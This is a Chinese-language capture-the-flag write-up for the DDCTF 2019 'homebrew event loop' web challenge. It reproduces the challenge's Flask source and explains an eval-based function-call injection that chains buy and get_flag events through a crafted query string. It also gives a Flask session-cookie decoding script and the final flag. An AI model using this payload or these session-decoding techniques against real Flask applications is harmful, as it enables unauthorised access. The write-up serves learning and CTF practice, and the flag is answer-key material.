[DDCTF 2019]homebrew event loop

https://buuoj.cn/challenges#[DDCTF%202019]homebrew%20event%20loop
在这里插入图片描述
进入环境
在这里插入图片描述
每隔页面浏览一下
最上面就是说明我现在有多少个钻石,多少积分
点击进GO-to e-shop,就可以使用一个积分买一个钻石
在这里插入图片描述
买完了之后主页会显示
在这里插入图片描述

积分花完的时候点击
在这里插入图片描述
就可以重置了

以前做过类似购买的题目
我做到的都是逻辑漏洞,抓包改余额,抓包改价格这些

接下来看看View source code这个页面
进入是py的代码
开始审计代码

from flask import Flask, session, request, Response#我们导入了 Flask 类。这个类的实例将会是我们的 WSGI 应用程序
import urllib

app = Flask(__name__)#
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'

def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

if session[‘num_items’] >= 5的话,flag就在session里面
关键是如何去绕过数量的问题,根据题目名字的话应该是调用自己循环来绕过数量就可以。
主要的问题是这里的购买函数是改变余额再判断是否合法,也就是说在调用buy_handler时同时传入get_flag,处理队列中的顺序就是余额+n -> get_flag -> 判断不合法,这时我们已经成功把flag写进session了。

@app.route(url_prefix+'/')#使用 route() 装饰器告诉 Flask 什么样的URL 能触发我们的函数
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    #urllib.unquote  :urlencode逆向,就是把%40转化为@(字符串被当作url提交时会被自动进行url编码处理,在python里也有个urllib.urlencode的方法,可以很方便的把字典形式的参数进行url编码)
    #request.query_string:它得到的是,url中?后面所有的值,最为一个字符串,比如action:index;False#False
    request.event_queue = [] #定义一个数组
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
    #如果这个url?后面的值为空 或者 这个url?后面的值不是以action开头 或者 这个url?后面的值长度大于100  
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: #如果session里面还没有num_items这个key
        session['num_items'] = 0 #钻石数量
        session['points'] = 3 #积分数量
        session['log'] = [] 
    request.prev_session = dict(session) #新建一个字典request.prev_session使其的值为字典session的值
    trigger_event(querystring) #调用了trigger_event
    return execute_event_loop() #进入到execute_event_loop函数

这里是程序的入口先调用了trigger_event将要执行的函数传进队列,但是也只能执行一次,如果将自己传入队列的话,就可以调用多个函数了,然后进入到execute_event_loop函数。

def trigger_event(event):
    session['log'].append(event)#将event添加到session['log']这个列表中
    if len(session['log']) > 5: #如果列表session['log']中的元素数量大于等于5
        session['log'] = session['log'][-5:]#session['log']取后五个元素
    if type(event) == type([]): #如果event的类型是列表
        request.event_queue += event #两个列表相加,在列表request.event_queue中添加一个元素 event
    else:
        request.event_queue.append(event)  #在列表request.event_queue中添加一个元素 event

execute_event_loop函数里面的代码

is_action = event[0] == 'a' 
action = get_mid_str(event, ':', ';') 
args = get_mid_str(event, action+';').split('#') 

action的话会直接返回第一个;之后的内容
参数这里用#做了一下分割,并返回一个列表到args里

event_handler = eval(action + ('_handler' if is_action else '_function')) 
ret_val = event_handler(args) 

这里有一个任意函数调用。action传入之后会有一个后缀拼接,但是可以直接用#绕过,因为是eval执行的,eval会把这个字符串当作python代码执行,所以后缀就绕过了。所以可以action,trigger_event#;来调用自己绕过后缀拼接。从而执行多个函数

def get_flag_handler(args):
    if session['num_items'] >= 5:#当钻石数量大于等于5的时候
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())#调用这个函数,上面也说了这个函数会把形参传入session['log']列表中
    trigger_event('action:view;index')

?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
在这里插入图片描述

此时flag按道理说已经写入session了
然后抓取session
.eJyNjc1qg0AURl-l3LWLGSUEBTdpqzRklKTTjl4pxZ8QkzijoDbJBN-92YQQcOHug3M43xWqegdOklzhJQMHYhGQVNh9KJd0y9sLDMY40WOkqArPlpnvqfDkug8Dhh_j_oDqu491c8jMmS4ErSJr8ZeKGQn1hzvSVNhglM9vxhGjnTutxCaWnkM69W0rMrGNRT5HeS7Ras-B-WUyn1H2SSjynK745hC-HbuYL0r2Skvk7xTFmiCvJPLSnnYMqpe_-24rW3CIAU29V91tWsM_iIx84Q.X8eGiw.AoztxxJ8hV5yJR-5qQAl54E-Huo
将sesion解密
解密脚本来源:https://www.leavesongs.com/PENETRATION/client-session-security.html

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

在这里插入图片描述
flag{17e60c51-5e75-4c89-a0a0-ae15ed4e9fe8}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值